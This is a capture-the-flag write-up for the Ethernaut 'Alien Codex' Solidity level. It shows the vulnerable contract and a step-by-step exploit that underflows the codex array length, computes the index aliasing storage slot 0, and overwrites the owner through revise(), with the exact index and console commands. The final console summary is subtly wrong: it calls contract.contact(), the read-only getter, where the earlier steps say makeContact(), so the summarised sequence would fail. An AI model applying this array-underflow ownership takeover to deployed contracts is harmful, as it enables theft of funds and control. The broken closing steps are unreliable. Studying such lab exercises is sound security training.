Ethernaut - Alien Codex - Solution

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function makeContact() public {
        contact = true;
    }

    function record(bytes32 _content) public contacted {
        codex.push(_content);
    }

    function retract() public contacted {
        codex.length--;
    }

    function revise(uint256 i, bytes32 _content) public contacted {
        codex[i] = _content;
    }
}

Solution

The goal of this challenge is to become the owner of the contract.

Before we discuss the solution, I highly recommend reading the section on the layout of dynamic arrays in storage in the official Solidity docs.

Based on the docs, our level instance has the following storage layout:

Notice that both contact as well as Ownable's _owner will be packed into slot 0. We can verify this by executing

cast storage <your level instance address> 0 --rpc-url $SEP_RPC_URL

before and after calling makeContact().

Furthermore, notice that the revise() function allows us to override what's stored in slot 0 by writing to the 2 ** 256 - 1 - uint256(keccak256(abi.encode(1))) + 1th entry of the codex array. However, in order to set a value at this index, we must ensure our codex array is large enough for the index 2 ** 256 - 1 - uint256(keccak256(abi.encode(1))) + 1 to exist. To achieve that, we can use retract() to subtract 1 from codex.length to underflow the array's length from zero to $2^{256}-1$.

As conclusion, we can become the owner of the level instance via the following steps:

1. Call makeContact() so that we can pass the contacted() modifier.
2. Call retract() to increase codex.length to $2^{256}-1$.
3. Call revise() to override slot 0 in a way that makes our player EOA the owner.

Based on the insights mentioned above, we can compute the parameters needed for step 3. via Chisel:

i

➜ uint256 i = type(uint256).max - uint256(keccak256(abi.encode(1))) + 1;
➜ i
Type: uint256
├ Hex: 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
├ Hex (full word): 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
└ Decimal: 35707666377435648211887908874984608119992236509074197713628505308453184860938

_content

➜ bytes32(uint256(uint160(<your player address>)))

To summarize, we can solve this level in the Ethernaut console via:

await contract.contact()

await contract.retract()

await contract.revise("35707666377435648211887908874984608119992236509074197713628505308453184860938", "<your player address cast to bytes32>")